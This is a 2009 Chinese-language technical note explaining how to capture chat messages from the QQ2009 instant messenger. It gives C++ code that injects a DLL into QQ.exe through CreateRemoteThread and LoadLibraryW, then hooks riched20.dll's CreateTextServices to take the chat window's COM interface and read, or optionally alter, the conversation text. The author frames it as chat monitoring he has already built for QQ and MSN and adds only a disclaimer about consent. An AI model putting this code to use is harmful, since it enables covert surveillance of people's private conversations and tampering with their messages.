QQ2009 聊天界面消息獲取文檔說明
版權所有: Goldant
時間: 2009-2-8
Blog: http://blog.csdn.net/antswallow
重要聲明 : 任何第三方個人或公司使用該技術對他人聊天消息進行監控 , 需經過被控方同意 , 任何由此引起的法律糾風均與本人無關 .
內容 : 本文簡述 QQ09 聊天界面獲取的基本原理 , 對於其它所需的技術以及細節將一筆帶過 , 需第三方人員自行實現完成 . (個人已實現 QQ08/09 MSN 8.5+ 版本的聊天監控,有時間會把細節處理及其它關鍵技術後續發表出來)
由於 QQ2009 採用了最新的 UI 界面技術 , 使得無法再通取窗口句柄的方式來取得用戶的聊天消息 . 查看了下 QQ 聊天窗體 , 發現採用的是 RichEdit 4.1 控件 . 對於這種無窗口句柄的控件 , 只能通過攔截內部的 COM 指針 , 來獲取聊天消息 . 經過跟蹤研究 , 只需要攔截掉 RichEdit.dll 中的 CreateService, 就可以取得 COM 指針 , 然後利用這 COM 指針去獲取聊天消息 .
爲了能夠攔截掉 COM 指針需要將一 DLL 注入 QQ 進程之中 , 至於如何注入進程 , 網上有很多教程 , 這裏不作詳述 ,CreateRemoteThread 以及 SetHook 都可以 , 邏輯代碼如下 :
DWORD pid =GetProcessID(_T("QQ.exe"));
HANDLE hProcess =OpenProcess(PROCESS_ALL_ACCESS,false,pid);
void *pDataRemote=
(char*)VirtualAllocEx(hProcess,0,cb, MEM_COMMIT,PAGE_READWRITE );
ret = WriteProcessMemory( hProcess, pDataRemote, "qqinject.dll", cb, NULL);
CreateRemoteThread(
hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(_T("KERNEL32.DLL")),"LoadLibraryW"),
pDataRemote, 0 , NULL);
當 DLL 成功注入 QQ 進程後 , 便可以開始進行 API 攔截 ,API 攔截不在本文檔所述之內 , 所需攔截的 API 函數 , 需包含相應的頭文件 , 建議在 VS2003 下編繹 ,VC6 還需下載 SDK, 如下 :
#include <richedit.h>
#include <imm.h>
#include <textserv.h>
#include <tom.h>
#pragma comment(lib,"riched20.lib")
const IID IID_ITextServices = {
// 由於此 IID 在 SDK 中的 riched20.lib 是錯誤的 , 需重新定義
0x8d33f740, 0xcf58, 0x11ce, {0xa8, 0x9d, 0x00, 0xaa, 0x00, 0x6c, 0xad, 0xc5}
};
// 函數攔截代碼 用戶自行完成 , 需攔截掉 riched20.dll 中的導出函數 CreateService
CreateService 函數原型如下 :
// 定義所需攔截函數的函數指針 PFCreateTextServices
typedef HRESULT (STDAPICALLTYPE * PFCreateTextServices)(
IUnknown *punkOuter,
ITextHost *pITextHost,
IUnknown **ppUnk);
// 此函數爲自定義的函數 , 用戶需自行完成 API 的攔截 , 使得
// 當 QQ 進程調用 CreateService 的時候 , 能夠先跳轉到此函數 ,
STDAPI MyCreateTextServices(
IUnknown *punkOuter,
ITextHost *pITextHost,
IUnknown **ppUnk)
{
// 找到原始函數的地址
PFCreateTextServices proc = (PFCreateTextServices) FindHook ("CreateTextServices",NULL);
// 執行原始函數 , 以取得當前 COM 的指針
HRESULT ret=proc(punkOuter,pITextHost,ppUnk);
// 得到 COM 的 IID_ItextServices 接口
CComQIPtr<ITextServices,&IID_ITextServices> my_textServ;
my_textServ=*ppUnk;
// 需自行過濾掉沒用的接口指針
// 保存 QQ 聊天消息窗體的 COM 接口
Save(my_textServ);
return ret;
}
// 查詢 QQ 聊天內容
BSTR GetQQContent(){
BSTR bs;
my_textServ->TxGetText(&bs); // 取得存文本聊天消息
// 如果想要修改聊天消息 , 請自行參與 RichEdit 控件 SDK,
return bs;
}